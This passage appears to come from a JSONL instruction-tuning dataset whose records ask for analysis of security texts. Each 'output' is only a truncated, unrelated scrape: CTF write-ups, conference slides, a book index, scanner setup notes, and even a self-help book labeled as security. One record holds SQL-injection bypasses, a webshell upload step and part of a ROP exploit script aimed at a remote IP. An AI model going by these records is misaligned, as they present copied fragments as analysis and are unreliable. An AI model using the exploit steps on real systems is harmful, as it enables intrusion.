如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_ENABLE_TAIL_CHECK`标志, 那么在`heap`字段中就会设置`HEAP_TAIL_CHECKING_ENABLED`标志. * 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_ENABLE_FREE_CHECK`标志, 那么在`heap`字段中就会设置`FLG_HEAP_ENABLE_FREE_CHECK`标志. * 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_VALIDA", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThrough the Looking-Glass, and what Eve found there http://www.s3.eurecom.fr/lg/ Luca 'kaeso' Bruno , Mariano 'emdel' Graziano 2 10/08/2014 About us S3 group at Eurecom (FR) - System security Embedded systems Networking devices Critical infrastructures Memory forensics Malware research 3 10/08/2014 Outline Motivations Intro to looking glasses Threats Vulns & incidents Countermeasures 4 10/08/2014 Motivations how this started Picture yourself as a newbie cyber- criminal looking for the next target Aim: critical infrastructure Impact: worldwide Skill level: low Goal: break havoc 5 10/08/2014 Motivations how this started Picture yourself as a newbie cyber- criminal looking for the next target The Internet Impact: worldwide Skill level: low Goal: break havoc 6 10/08/2014 Motivations how this started Picture yourself as a newbie cyber- criminal looking for the next target The Internet Traffic routing across ASes Skill level: low Goal: break havoc 7 10/08/2014 Motivations how this started Picture yourself as a newbie cyber- criminal looking for the next target The Internet Traffic routing across ASes Basic web skills, google dorks, etc... Goal: break havoc 8 10/08/2014 Motivations how this started Picture yourself as a newbie cyber- criminal looking for the next target The Internet Traffic routing across ASes Basic web skills, google dorks, etc... Gaining access to BGP routers 9 10/08/2014 Motivations how this started Picture yourself as a newbie cyber- criminal looking for the next target A good candidate: LOOKING-GLASS 10 10/08/2014 Outline Motivations Intro to looking glasses Threats Vulns & incidents Countermeasures 11 10/08/2014 The Internet A network of networks, glued by BGP http://www.caida.org/research/topology/as_core_network/2014/ 12 10/08/2014 One routing-table, many routing-tables BGP is worldwide, each AS routing table is a (partial) local view What you see depends on where you are http:/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n过滤了了相关字符and,select,updatexml双写绕过就好空格用/**/代替拿到密 码 we1c0me%_#2&_@LCTF 进去之后发现任意提交passwd提示密码不不对让 num=0passwd=5487即可 虽然说写了了waf但是sqlmap照样能过XD各种tamper加上就好了了 题目一共分为三步 第一步是一个正则绕过 题目的正则应该是php://.resource=(.)$这种形式而且第一步应该先会检测是否是图片于双次 绕过就好了了: Nu1L LCTF writeup Web 签到题 我控几不不主我及几啦 苏达学姐的网站 再读一下file/admin.php.txt 熟悉的CBC字节翻转攻击 拿到cookie之后登录进去发现是一个上传页面测试后发现可以上传ini文件 于是通过上传.user.ini文件getshell菜刀连上发现flag 前几天刚爆出来的漏漏洞洞关于magic函数wakeup在反序列列化数据时如果属性过 多导致wakup失效具体文章可以自己找下利利用+号以及修改属性值绕过最 后利利用glob绕过open_basedir在/var/www/flag目录下发现flag 睡过了了 感觉学到很多的一个题目 首先是二次盲注我们发现随意注册一个用户进入之后会有修改用户头像的地 方而主办方放的提示是二次注入猜测修改头像时会把用户名带入查询如 果查询错误头像返回就是空如果不不是则头像返回就会有长度于是利利用 mid函数就可以了了py小脚本上一发 得到用户密码1d5afc15d99fe43fb602b25f3b5d2ee0 Cmd5解密是1admin2016 然后fuzz下目录发现有admin.php以及robots.txt用户更更换图片地方存在 ssrf但是没什什么用?不不过能看源码 主办方提示了了比较函数而直接admin账户登录是显示账户错误的于是user[]数 组绕过即可最后拿到flag 比较好玩的一个题目虽然最后看运气首先fuzz下目录发现 然后访问下 headpic 你一定不不能来这 下载下download.php: Hash长度扩展攻击利利用py下的hashpumpy爆破下secert的长度就可以了了 得到长度是18 然后下载www.rar发现有密码QAQhex编辑器器打开在最后发现jjencode代码 github上有解密的脚本 YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE. 培根密码XXDDCCTTFF 拿到源码之后没有什什么逻辑就是爆破time时间戳与rand随机数1-10000结合 之后的md5 于是burp或者自己写多线程脚本跑就好了了 要注意抓包获得的时间并不不是东八区北北京时间所以需要加8才能算对感谢 主办方后期心疼我们改了了时间要不不然根本出不不来= = 很明显的栈溢出然后就是构造ROP泄露露libc地址调用system(/bin/sh) from pwn import * DEBUG = 0 if DEBUG: context.log_level = 'debug' io = process('./pwn100') Pwn Pwn100 gdb.attach(io) else: io = remote('119.28.63.211', 2332) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./pwn100') puts_got_addr = elf.got['puts'] read_got_addr = elf.got['read'] puts_plt_addr = elf.symbols['puts'] read_plt_addr = elf.symbols['read'] pop_rdi_ret_addr = 0x0000000000400763 pop_rsi_pop_r15_ret_addr = 0x0000000000400761 pop_pop_pop_pop_ret_addr = 0x000000000040075d rsp = 0x00601300 payload = 'A' * 0x40 + 'B' * 0x8 + p64(pop_rdi_ret_addr) + p64( puts_got_addr) + p64(puts_plt_addr) payload += p64(pop_rdi_ret_addr) + p64(read_got_addr) + p64(put s_plt_addr) payload += p64(pop_rdi_ret_addr) + p64(0) + p64(p", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n封面 书名 版权 前言 目录 第一部分 准备工作 第1 章 熟悉工作环境和相关工具 1 . 1 调试工具Mi c r o s o f t V i s u a l C + + 6 . 0 和O l l y D B G 1 . 2 反汇编静态分析工具I D A 1 . 3 反汇编引擎的工作原理 1 . 4 本章小结 第二部分C + + 反汇编揭秘 第2 章 基本数据类型的表现形式 2 . 1 整数类型 2 . 1 . 1 无符号整数 2 . 1 . 2 有符号整数 2 . 2 浮点数类型 2 . 2 . 1 浮点数的编码方式 2 . 2 . 2 基本的浮点数指令 2 . 3 字符和字符串 2 . 3 . 1 字符的编码 2 . 3 . 2 字符串的存储方式 2 . 4 布尔类型 2 . 5 地址指针和引用 2 . 5 . 1 指针和地址的区别 2 . 5 . 2 各类型指针的工作方式 2 . 5 . 3 引用 2 . 6 常量 2 . 6 . 1 常量的定义 2 . 6 . 2 # d e f i n e 和c o n s t 的区别 2 . 7 本章小结 第3 章 认识启动函数找到用户入口 3 . 1 程序的真正入口 3 . 2 了解V C + + 6 . 0 的启动函数 3 . 3 ma i n 函数的识别 3 . 4 本章小结 第4 章 观察各种表达式的求值过程 4 . 1 算术运算和赋值 4 . 1 . 1 各种算术运算的工作形式 4 . 1 . 2 算术结果溢出 4 . 1 . 3 自增和自减 4 . 2 关系运算和逻辑运算 4 . 2 . 1 关系运算和条件跳转的对应 4 . 2 . 2 表达式短路 4 . 2 . 3 条件表达式 4 . 3 位运算 4 . 4 编译器使用的优化技巧 4 . 4 . 1 流水线优化规则 4 . 4 . 2 分支优化规则 4 . 4 . 3 高速缓存c a c h e 优化规则 4 . 5 一次算法逆向之旅 4 . 6 本章小结 第5 章 流程控制语句的识别 5 . 1 i f 语句 5 . 2 i f e l s e 语句 5 . 3 用i f 构成的多分支流程 5 . 4 s w i t c h 的真相 5 . 5 难以构成跳转表的s w i t c h 5 . 6 降低判定树的高度 5 . 7 d o / w h i l e / f o r 的比较 5 . 8 编译器对循环结构的优化 5 . 9 本章小结 第6 章 函数的工作原理 6 . 1 栈帧的形成和关闭 6 . 2 各种调用方式的考察 6 . 3 使用e b p 或e s p 寻址 6 . 4 函数的参数 6 . 5 函数的返回值 6 . 6 回顾 6 . 7 本章小结 第7 章 变量在内存中的位置和访问方式 7 . 1 全局变量和局部变量的区别 7 . 2 局部静态变量的工作方式 7 . 3 堆变量 7 . 4 本章小结 第8 章 数组和指针的寻址 8 . 1 数组在函数内 8 . 2 数组作为参数 8 . 3 数组作为返回值 8 . 4 下标寻址和指针寻址 8 . 5 多维数组 8 . 6 存放指针类型数据的数组 8 . 7 指向数组的指针变量 8 . 8 函数指针 8 . 9 本章小结 第9 章 结构体和类 9 . 1 对象的内存布局 9 . 2 t h i s 指针 9 . 3 静态数据成员 9 . 4 对象作为函数参数 9 . 5 对象作为返回值 9 . 6 本章小结 第1 0 章 关于构造函数和析构函数 1 0 . 1 构造函数的出现时机 1 0 . 2 每个对象都有默认的构造函数吗 1 0 . 3 析构函数的出现时机 1 0 . 4 本章小结 第1 1 章 关于虚函数 1 1 . 1 虚函数的机制 1 1 . 2 虚函数的识别 1 1 . 3 本章小结 第1 2 章 从内存角度看继承和多重继承 1 2 . 1 识别类和类之间的关系 1 2 . 2 多重继承 1 2 . 3 虚基类 1 2 . 4 菱形继承 1 2 . 5 本章小结 第1 3 章 异常处理 1 3 . 1 异常处理的相关知识 1 3 . 2 异常类型为基本数据类型的处理流程 1 3 . 3 异常类型为对象的处理流程 1 3 . 4 识别异常处理 1 3 . 5 本章小结 第三部分 逆向分析技术应用 第1 4 章P E i D 的工作原理分析 1 4 . 1 开发环境的识别 1 4 . 2 开发环境的伪造 1 4 . 3 本章小结 第1 5 章 熊猫烧香 病毒逆向分析 1 5 . 1 调试环境配置 1 5 . 2 病毒程序初步分析 1 5 . 3 熊猫烧香 的启动过程分析 1 5 . 4 熊猫烧香 的自我保护分析 1 5 . 5 熊猫烧香", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# The all-seeing eye Category: Cryptography ## Description > Remember - reality is an illusion An image was attached. ## Solution The attached image looks like some kind of substitution cipher: ![](images/all_seeing.png) We obviously know that the prefix is `cstechnion`. We can see that the `ש` stand for `'c'` and matches the expected locations in `cstechnion`. However, how do we proceed from here? Searching Google for some kind of ancient hieroglyphs didn't help much, and a reverse image search of the symbols wasn't helpful either. Finally, searching for the sentence in the description gave a lead: \"Remember - reality is an illusion\" is a quote from the animated TV show \"Gravity Falls\" said by no other than a character called \"Bill Cipher\": > \"Remember: reality is an illusion. The universe is a hologram. Buy gold. Bye!\". Investigating this lead further reveals the following key ([source](https://www.pinterest.com/pin/426575395956010392/)): ![](images/bill_cipher.png) Using it, we can decrypt the flag to `cstechnion{galf_drawkcab}`.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nScrew Being A Pentester - When I Grow Up I Want To Be A Bug Bounty Hunter Jake Kouns @jkouns Chief Information Security Officer (CISO) Risk Based Security Carsten Eiram @CarstenEiram Chief Research Officer (CRO) Risk Based Security N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Risk Based Security Community offerings: Commercial offerings: Information Security: Career Decisions N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices Blue vs. Red! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices Red Team! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester Good Things About Red Teams N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Red Teams = Pentester N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester - Painful At Times? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester - Painful At Times? Also the option of becoming an independent pentester! Dont have to work for the man, but work time breakdown is roughly: 1/3 actual pentesting (fun) 1/3 administrative tasks and documentation 1/3 being a sales weazel (finding clients!) N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Is There A Better Career Choice? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bounty Hunters N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bounty Hunters Quick Overview To Set The Bug Bounty Stage N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Research Motivation Old Skool N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Research Motivation Old Skool Reporting vulnerabilities to vendors back in the day (and sometimes today) was often a hassle! Researchers would instead find alternatives... N O T J U S T S E C U R I T Y , T H E R I G H T S E C U ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking G Suite: The Power of Dark Apps Script Magic By @IAmMandatory (Matthew Bryant) Who am I? mandatory (Matthew Bryant) Leading the Red Team Effort at Snapchat @IAmMandatory Hacking write ups and research at https://thehackerblog.com Context & Background What exactly are we dealing with here? Google Workspace (AKA G Suite) Suite of Google services for employees to work together online (Gmail, Docs/Sheets/Slides, Drive, GCP etc). Businesses can manage employees and set up powerful security and ACL policies. Many of these services are used individually by free Google users as well. >2 billion users! Apps Script: Automate Google Services With JavaScript Serverless JavaScript apps which are hosted by Google and highly optimized for automating Google services. Seamless integration with Googles app registration and OAuth permission requesting system. Variety of triggers to start scripts: web request, document open, scheduled, etc. Example of the Apps Script Editor Google OAuth 2.0 Allows third party apps to request access to resources owned by Google users. Permissions to resources are known as scopes and there are over 250 of them! Users are presented with a prompt describing roughly what access theyre granting which they can allow/reject. On approval you get tokens which you can use for the API(s) Example OAuth Permission Prompts Tying It All Together: Thinking Beyond the Machines When attacking G Suite, Apps Script is an attractive option for phishing as well as backdooring accounts. An Apps Script implant is outside the eyes of antivirus, endpoint detection tooling, and other on-device monitoring. Even if your victim wipes their laptop, your implant remains! Tough Perimeters Require Clever Attacks We can utilize Apps Script to pierce even the most hardened environments. Companies with mandatory hardware U2F on logins, hardened Chromebooks, hardware attestation, third-party OAuth scope blocking, etc. To get around these measures well have to be", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRotten code, aging standards, & pwning IPv4 parsing across nearly every mainstream programming language 2 @jfslowik 3 Disclaimer None of this research was paid for We research in good faith Nothing today represents our past/present/future employers None of us are under gag orders* All images are CC0 or public domain All trademarks, logos and brand names are the property of their respective owners 4 What will we be discussing today? CVE-2020-28360 9.8 CVE-2021-28918 9.1 CVE-2021-29418 5.3 (@Ryotkaks emergency fix) CVE-2021-29921 9.8 CVE-2021-29662 7.5 CVE-2021-29424 7.5 CVE-2021-29922 new est. 9.8 CVE-2021-29923 new est. 9.8 Oracle S1446698 pending est. 9.8 ***** 768013610 pending est. 9.8 5 Talk format Finding this type of vuln How to horizontally scale your vulnerabilities Some PoCs Exploitability of a vuln Further attack vectors/research 6 Takeaways #patchtuesday every day Patching* an entire class of this size? *Apologies to anyone who might have to go patch right after this 7 Takeaways Exponential vulnerability disclosures Thought models to magnify your attack vectors Horizontally scale your research 8 What do you see? 9 10 Youre listening to... Sick Codes @sickcodes Kelly Kaoudis @kaoudis 11 Presenting our work with... John Jackson @johnjhacking Nick Sahler @tensor_bodega Victor Viale @Koroeskohr Cheng Xu @_xucheng_ Harold Hunt @huntharo 12 Quickstart Octal (base-8) number system 0 1 2 3 4 5 6 7 https://linguistics.berkeley.edu/~avelino/Avelino_2006.pdf 13 No 8s or 9s, 0-7 only 14 Leaving home 15 Coming home 16 t Coming home 17 0177.0.0.1 127.0.0.1 https://check-host.net/ 18 87.0.0.1 0127.0.0.1 https://check-host.net/ 19 @bagder (curl guy) 20 @bagder (curl guy) 21 Rotten code? Bitrot, but for dependencies (not blame hour!) How well-tested should developers assume a widely-used or standard library is? 22 Contributing factors 23 Contributing factors 24 Contributing factors No (ratified) IP address format standard Who even uses octa", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n[ 高效能人士的七个习惯 ] ~ 1 ~ 封面 [ 高效能人士的七个习惯 ] ~ 2 ~ 感谢 爱书网 www.ilovebook.cn 提供图书模板 [ 高效能人士的七个习惯 ] ~ 3 ~ 赞誉之辞 史蒂芬柯维写了一本关于人类生存状况的巨 著不仅文字优美而且深深洞察了我们内心所关 注的东西这本书无论对个人还是对组织都非常有 用我要将把它赠送给每一个我所认识的人 沃伦本尼斯世界领导力大师成为领 导者作者 史蒂芬柯维是美国的苏格拉底他使你畅开 心扉去面对生命中一些永恒的东西金钱家庭 人际关系生命价值 [ 高效能人士的七个习惯 ] ~ 4 ~ 博恩崔西世界潜能大师 成功心理学 作者 无论是学习企业管理的学生还是正在从事管 理工作的人都不太会像史蒂芬柯维那样对组织与 管理的首要原则进行如此细致和深入的思考他在 高效能人士的七个习惯中给了我们一个机会 而不仅仅是一种指导他以其卓越的洞察力为我们 提供了一个了解自己和了解自己对他人的影响的机 会这是一本能改变你命运的奇书 汤姆彼得斯世界管理学大师追求卓 越作者 正当美国各企事业单位政党和社会团体迫切 需要鼓舞士气并培养出各阶层领导人的时候柯维 适时地提供了一种有助于自我提高的人生哲学它 可称得上是个人事业成功的最佳保证它是智慧 情感和实践经验的结晶 [ 高效能人士的七个习惯 ] ~ 5 ~ 罗莎贝丝莫斯坎特哈佛商学院的首 席管理教授巨人学舞作者 高效能人士的七个习惯是本奇书它告诉 人们应当把对个人对家庭和对事业的责任统一起 来它在这方面所起的作用超过了任何一本我曾读 过的书 保罗汤普森杨百翰大学麦里特商学院 院长更迭作者 高效能人士的七个习惯为我们提供了处理 人际关系的法则如能静下想想必将获益匪浅 吉姆斯弗雷切美国国家航空航天局局 长 [ 高效能人士的七个习惯 ] ~ 6 ~ 我不知道有哪一位教师或哪一种方法能像本 书这样对个人绩效的提升产生如此巨大的积极作 用本书萃取了史蒂芬柯维人生哲学体系的精 髓我相信读过此书的人都会明白为什么柯维博士 的指导会对我及其他人产生如此巨大的影响 约翰白波宝洁公司董事长 高效能人士的七个习惯是所有人成功的钥 匙它令人深思发人深省 爱德华布瑞南美国西尔斯百货公司董 事长兼执行总裁 我发现此书能令人精神振奋思维活跃它是 我思考和行动的指南 瑞秋狄维士安利公司总裁 [ 高效能人士的七个习惯 ] ~ 7 ~ 这是一本震撼人心的著作他提出的关于构思 领导和公关的原理组成了培训现代企业管理者的实 用工具我强烈推荐本书 诺兰阿奇博尔德布莱克戴克公司总 裁兼首席执行官 我们应当将阅读该书并运用书中知识作为对 事业单位党政机关各阶层人员的一项要求这将 比任何一部公务员道德行为规范所起的作用都大 美国共和党首席参议员贾杰克 就对社会各阶层领导者的贡献而言没人能比 得上史蒂芬柯维所有有文化的人都能从阅读 该书并运用书中所述原理获益 美国参议员奥林哈奇 [ 高效能人士的七个习惯 ] ~ 8 ~ 高效能人士的七个习惯是能够长时间一直 位居榜单的畅销书之一 美国财富 杂志柯维是热门的并将越来越热 美国商业周刊 柯维是继戴尔卡耐基之后在当今商业领域 最权威的自我提升顾问 今日美国 柯维指明了在家庭企业和社会中处理人际关 系的普遍真理使我们免遭市面上一些蹩脚的人际 关系类书籍的茶毒我们应该把阅读他的著作当成 是在实施一项工程而不能像浏览图片那样看完 就算柯维既不是个乐观主义者也不是个悲观主 [ 高效能人士的七个习惯 ] ~ 9 ~ 义者而是一个可能主义者他认为我们有能力去 开启自我改造的大门这本书名叫高效能人士的 七个习惯读它的理由却远远不止 7 个 史蒂芬拉本斯基国际广播电视协会执 行理事 史蒂芬柯维的著作传授着力量信念与感受 书中所谈到的人生法则的概念和实现方法为有效沟 通提供了一个基础作为一名教育工作者这本书 将成为我藏书室中又一本重要的参考文献 威廉柯尔美国犹他州高等教育委员会 委员 史蒂芬柯维真是个了不起的人物他的著作 思想深刻且充满人文主义关怀 高效能人士的七个 习惯一本书就顶得上一屋子成功学书籍它真的 改变了我的人生 [ 高效能人士的七个习惯 ] ~ 10 ~ 肯布兰佳一分钟经理作者 你所能形成的最好习惯就是不断学习并掌握 史蒂芬柯维的处世智慧他能将他所说的话变成 现实他的书自能让你永远臵身于成功者的圈子之 中 丹尼斯威特利博士全美最杰出激励大 师之一畅销书成功心理学作者 这真是一项伟大的贡献!柯维博士总结了成功 人士的各种习惯并将其编制成为一套简单易学且 行之有效的教程奉献给大家我们从此获得了现实 美国梦的蓝图 查尔斯坎菲尔德畅销书顶级执行者 作者 [ 高效能人士的七个习惯 ] ~ 11 ~ 知识是通往成功的安全捷径史蒂芬柯", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOwning Bad Guys {& Mafia} with JavaScript Botnets Chema Alonso (chema@informatica64.com @chemaalonso) and Manu The Sur (mfernandez@informatica64.com) Informatica 64 (http://www.informatica64.com) Abstract: Man in the middle attacks are common and dangerous. Using a TOR connection or an Anonymous Proxy Server implies accepting a man in the middle schema in our Internet Connection. In this paper we describe how easily a JavaScript Botnet can be constructed and what are the risks. Moreover, we describe, with samples, what kind of people are using this kind of services. Botnets Building a botnet is an idea that everyone working in security has thought about. c. The idea of having a control panel that allows you to manage the behaviour of thousands of machines is tempted However, this process is definitively a step to the side of cybercrime, and must be very careful not to do. Despite this, the proof of concept I will relate in this article has to do with this idea, to make a botnet, but with a complete different philosophy. First, on our proof of concept work that is done is completely passive, it means, there is no intention to control the lives of anyone, but to study the risks of certain services that have become too popular, such as Anonymous Proxies and TOR networks. All this work is intended to alert of the risks to which may be incurred by the mere fact of following one of the many tutorial available on Internet about anonymity. That said, I will tell you the process we followed to make a botnet to control what they do and how they do, that bad guys of Internet. Man In The Middle Before describing the architecture is necessary to review the concept of Man in the Middle techniques. In the networking field, Man in the Middle attacks are popular and effective. Typical cases in IPv4 networks with ARP Spoofing techniques or Rogue DHCP, in IPv6 networks with ICMP Spoofing attacks or SLAAC, or other cases such as DNS Poisoning are widely used in schemes to steal creden", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWelcome Home! Internet Open Telemetry Martin Hron security researcher HITCON 2018 Buzzword 2 A word or phrase which has become fashionable or popular, or sounds technical or important and is used to impress people 3 So lets talk about IoT What is IoT? 4 Flashback: How it has started 5 Make my house smart. DYI way. Flashback: How it has started 6 Many smart devices or devices that can be made smart 7 Babylon of standards 8 You can go two ways: use one vendor and one solution, one cloud you have many devices from different vendors or even dumb devices which need to be made smart 9 Babylon of standards 10 Physical layer / data link Bluetooth RS232, RS485, CAN, eBUS WiFi, Ethernet ZigBee 433, 866 MHz and many others Babylon of standards 11 Transport / application layer Textual data JSON HTTP XML Binary oriented protocols Proprietary protocols 12 Message Queue Telemetry Transport - MQTT 13 publisher - subscriber model payload agnostic topics can be organized in tree like structure when subscribing wildcards can be used usually operates through TCP on port 1883 supports last will and persistent topics MQTT topics 14 Examples of topics: /house/attic/light /house/basement/door /house/basement/light Tree like organized structure. When subscribing, you can use wildcards. # for all levels from here down the tree or + for any single level. Subscription to /house/+/light delivers all light topics in any room Subscription to only # delivers every topic published by anyone to this MQTT server/broker. MQTT Broker use case in smart home 15 MQTT Broker sensor (switch) sensor (door contact) sensor (thermometer) smart breaker box with MQTT bridge actor (smart bulb) actor (garage doors) actor/sensor (heating unit) bridge sensor (switch) actor (dumb bulb) bridge bridge simple wire ZigBee ETH / WiFi eBUS bussines logic Typical implementation 16 Various smart and dumb devices bridged to MQTT One namespace of topics spans whole building MQTT broker, Mosquitt", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAWVS 也有一个插桩模式我们也来试用一下先安装好awvs // pull 拉取下载镜像 docker pull secfa/docker-awvs // 将Docker的3443端口映射到物理机的 13443端口 docker run -it -d -p 13443:3443 secfa/docker-awvs // 容器的相关信息 awvs13 username: admin@admin.com awvs13 password: Admin123 AWVS版本13.0.200217097 1.开启插桩扫描 开启 AcuSensor 如下两张图 图1 未开启AcuSensor 图2 开启AcuSensor参照图中所示要使用插桩扫描必须保持AcuSensor为选中状态 2.准备桩点jar包和切面jar包 下图按钮就是桩点下载地址 切面jar包下载的地址是 https://repo1.maven.org/maven2/org/aspectj/aspectjweaver/1.9.5/aspectjweaver-1.9.5.jar 3.安装桩点jar包和切面jar包 把这两个jar包放到tomcat的lib目录中 别忘了要重命名切面jar包为aspectjweaver.jar 4.加入启动代码 在catalina.sh中cygwin=false这行上面加入以下代码 请依照实际情况修正jar包的路径 这样启动的java进程就是可以执行插桩扫描的应用系统然后就是正常的开始扫描就可以了 5.扫描结果 带有AcuSensor图标的就是插桩测试出来的结果以及 (AcuSensor)文字标识的都是插桩扫描出来的结果 很明显插桩扫描出来的结果更为详细甚至能给出执行的sql语句 图1 JAVA_OPTS=\"$JAVA_OPTS -javaagent:/home/test/apache-tomcat-8.5.61/lib/aspectjweaver.jar -Dacusensor.debug.log=ON\" 图2 其他springboot的部署 可以参照 官方链接使用部署swagger进行统一的插桩扫描发现系统隐患 总结 awvs相对netsparker配置方便适合对burp等抓包工具的日志文件或swagger的接口列表文件进行检测 谢谢 FROM openjdk:8-jdk-alpine COPY AcuSensor.jar AcuSensor.jar COPY aspectjweaver.jar aspectjweaver.jar COPY myspringapp.jar myspringapp.jar EXPOSE 8080 CMD java -javaagent:aspectjweaver.jar -Dacusensor.debug.log=ON -Dloader.path=AcuSensor.jar -cp myspringapp.jar o", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDeveloping Multi-Agency Interoperability Communications Systems: User's Handbook Applicable To: ACU-1000 Modular Interface/Interconnect System And TRP-1000 Transportable Radio Interconnect System ACU/TRP-1000 Handbook Page ii Developing Multi-Agency Interoperability Communication Systems: Users Handbook ACU-1000 Modular Interface/Interconnect System And TRP-1000 Transportable Radio Interconnect System Presented by: Office for Domestic Preparedness This project was supported by Contract GS-10F-0088I/2001BF505TO02, Task Order 2001TO046, awarded by the U.S. Department of Justice, Office of Justice Programs to Community Research Associates, Inc. The As- sistant Attorney General, Office of Justice Programs, establishes the policies and priorities, and manages and coordinates the activities of the Office of Justice Programs, Bureau of Justice Statistics, National Institute of Justice, Office of Juvenile Justice and Delinquency Prevention, and the Office for Victims of Crime. Points of view in this document are those of the author and do not necessarily represent the official position of the U.S. Department of Justice and Community Research Associates, Inc. ACU/TRP-1000 Handbook Page iii Foreword The Office of the Assistant Attorney General, Office of Justice Programs (OJP) is providing funds through the Office for Domestic Preparedness (ODP) State Domestic Preparedness Equipment Program for the purchase of specialized equipment to help enhance the capabilities of State and local units of government to respond to acts of terrorism involving chemical and biological agents, as well as radiological, nuclear, and explosive de- vices. This handbook is the result of a developed and focused effort by the ODP to address interoperability and is intended to enhance communications among the numerous agencies who would respond to large-scale terror- ism incidents or emergencies. To further enhance that effort, the ODP provided more than 50 ACU/TRP-1000 systems to approximately 10 juri", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nScylla & 1.0 Alpha (101% Colombiano) http://www.2secure.org Sergio Valderrama (flacman at cuteam dot org) Carlos Rodriguez (iker at cuteam dot org) Special thanks to: RPM (Our designer, and webshell creator), Zealot (for his help with charybdis), Tronador (he build pieces of mail modules) Download: You would be able to download the source only (with compiling instructions) from here: http://code.google.com/p/scylla-v1/ (will be uploaded the 22 of July) Abstract When there's no technical vulnerability to exploit, you should try to hack what humans left for you, and believe me, this always works. Scylla provides all the power of what a real audit, intrusion, exclusion and analysis tool needs, giving the possibility of scanning misconfiguration bugs dynamically. Scylla aims to be a better tool for security auditors, extremely fast, designed based on real scenarios, developed by experienced coders and constructed with actual IT work methods. The words Configuration Tracer are the best definition for Scylla, a tool to help on IT audits. Introduction This document is a reference manual about what Scylla is, and what its capabilities are. This document will show the user a hypothetical scenario that shows what he/she is able to do when Using Scylla and basic explanation of each one of its modules and its features. Scylla is not solely meant to be an exploitation tool or a tool to discover vulnerabilities within applications, but rather as a method to hack and patch human stupidity, such as common errors or flaws unintentionally put in service configuration. Scylla is built over an extremely fast and reliable core, with anti-anti Brute force techniques, error recovery protocols, and a lot of speedup tricks with most manual (and other types of attacks unknown to the user) being coded to avoid repetitive tasks. BTW, if you havent read well, this is 1.0a version, and the a comes from A lot of work to do, A lot of bugs (I think) and A lot of testing left, and we will appreciate", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n- 2 - u Dongsung Kim u Graduate Student, Sungkyunkwan University u @kid1ng / https://kidi.ng u Hyoung-Kee Choi u Professor, Sungkyunkwan University u https://hit.skku.edu/~hkchoi - 3 - u Motivation u Tizen Security Internals u Dan the D-Bus Analyzer u Privilege Violations u Conclusion 1 - 5 - u Samsungs smartwatch products: S2, S3, Sport Track fitness; control smart devices; receive calls, texts, and emails; pay with NFC Bluetooth only or with dedicated cellular LTE App marketplace: Samsung Galaxy Apps Development with Tizen SDK and Samsung SDK u Sensitive information and high privileges Powerful processor and tracking sensors Personal data from users smartphone Contacts, calendar, location, email, notification, Access to privileged actions must be controlled Sending a quick reply, obtaining the GPS location, Image: Samsung - 6 - u Linux-based Open source operating system Maintained by the Linux Foundation Mainly developed by Samsung u Shipped with many of Samsungs products Smartwatches, wearables, smartphones, cameras, smart TVs, home appliances, u Samsung Gear firmware Tizens open source components Operating system, system services, Samsungs closed source components Drivers, system services, applications, Image: Tizen Project, a Linux Foundation Project - 7 - u May 2015: Ajin Abraham Hacking Samsungs Tizen: The OS of Everything @ HITBSecConf Over-privileged apps, no DEP, broken ASLR, WebKit vulns u Apr 2017: Amihai Neiderman Breaking Tizen @ Security Analyst Summit 40 0-day vulnerabilities in Tizen and Tizen Store u Jul 2017: PVS-Studio 27 000 Errors in the Tizen Operating System 900 code errors in a portion of Tizen source code - 8 - u Sungkyunkwan University is funded and operated by the Samsung Foundation. 2 - 10 - u Files, Directories, UNIX Sockets, Utilities u Applications Use Tizen APIs to access the subsystems e.g., Frameworks, Services, u Services Special privileged daemons dedicated for a resource e.g., Wi-Fi, Bluetooth, GPS, ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 